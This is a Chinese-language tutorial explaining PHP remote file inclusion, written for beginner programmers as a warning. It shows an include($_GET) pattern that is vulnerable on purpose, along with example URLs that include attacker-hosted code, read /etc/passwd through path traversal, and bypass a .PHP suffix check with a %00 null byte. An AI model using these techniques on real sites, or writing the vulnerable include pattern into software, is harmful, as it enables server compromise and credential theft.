程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 是什麼造成PHP遠程文件包含漏洞產生

是什麼造成PHP遠程文件包含漏洞產生

編輯:關於PHP編程

對於初級PHP程序員來說,對於PHP的安全性還不能完全掌握。首先我們需要了解致使程序漏洞的原理。下面我們就來介紹一下PHP遠程文件包含漏洞的產生原因。

首先的問題是,什麼才是”遠程文件包含漏洞“?簡要的回答是服務器通過PHP的任意文件包含過濾不嚴,從而去執行一個惡意文件,這是個程序員過濾上的問題,請記住,所有的cgi程序都有這樣的bug。

1.找出PHP遠程文件包含漏洞bug:

為了發現目標,我們首先要知道包含兩個字的含義,在所有語言裡(大多數)都有這種方法包含任意的文件。在PHP裡,我們使用include()函數,它的工作流程:

如果你在Main.PHP裡包含include1.PHP,我將這樣寫include("include1.PHP").不是很科學,但你要知道其中的道理。

我們先看這個,當用戶輸入通過後就包含文件,也就是

  1. if ($_GET
    ) {  
  2. include $_GET
    ;  
  3. } else {  
  4. include "home.PHP";  

這種結構在動態網站裡是常見的,問題是它允許這樣 [url]hxxp://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url]來查看。無論如何,如果你的程序裡有這樣的bug也很悲哀了,只能怪你,盡管只是一句過濾的問題,但就是這一句過濾就有了Script hacker.在zone-h.org的調查裡,文件包含的攻擊率占到9.4%,足夠我們引起重視,而且它也不是一兩天的問題,幾年前就有了,但到了今天,一批一批程序員依舊走老路重走,所以就有了這篇文章,在2004年寫這樣的文章已經老掉牙,但我還是要寫,畢竟牢騷能讓人收益的時候就不叫牢騷了。

2.測試

這裡有個遠程文件包含的例子,目的只有一個,為了你的程序安全,我們來看具體的

  1. [url]hxxp://www.target.com/explame.PHP?page=zizzy[/url]  
  2.  
  3. Warning: main(zizzy): failed to open stream: No such file or directory  
  4.  
  5. in /var/www/htdocs/index.PHP on line 3  
  6.  
  7. Warning: main(): Failed opening 'zizzy' for inclusion  
  8.  
  9. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/index.PHP on line 3 

PHP輸出的這些錯誤信息告訴我們,程序去包含文件/var/www/htdocs/zizzy,但沒找到,看見了吧,No such file or directory沒這樣的文件,現在理解PHP遠程文件包含漏洞了吧。

3.利用

PHP確實很好,可以遠程調用文件,那我創建一個yeah.txt,放在我的站上[url]hxxp://www.mysite.com/yeah.txt.[/url]內容這樣

  1. < ?  
  2. echo "Wow,test!";  
  3. ?> 

那麼

  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] 

回顯Wow,test!,這樣就執行了。讀取config.PHP也不難吧,裡面放了mysql密碼啊。把yeah.txt寫成看看,寫成system()去試試,有什麼感想,在過分點,這樣提交page=../../../../../../../etc /passwd。知道什麼叫真正的包含了吧。

4.另一種PHP遠程文件包含漏洞的原理

有時程序員換種寫法,寫成這樣,限制了包含范圍

  1. if ($_GET
    ) {  
  2. include "$_GET
    .PHP";  
  3. }   
  4. else   
  5. {  
  6. include "home.PHP";  

我們提交

  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]  
  2.  
  3. Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream:  
  4.  
  5. hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  
  6.  
  7. Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion  
  8.  
  9. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3 

包含失敗了,限制了後綴名為PHP,把mysite.com的yeah.txt改為yeah.PHP,然後照樣執行。那passwd怎麼辦?

  1. Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request  
  2.  
  3. failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  
  4.  
  5. Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion  
  6.  
  7. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3 

在這裡使用個NUL字符,也就是%00來跳過檢測

  1. [url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] 

看見了吧。

包含文件時最好指定好包含哪一個文件,或者過濾好提交的的變量,這也就是這篇PHP遠程文件包含漏洞文章的目的,不是寫給hacking的人看,而是寫給那些初涉程序員的人,這樣的文章網上很多,只要有人受益,也就達到目的了。


  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved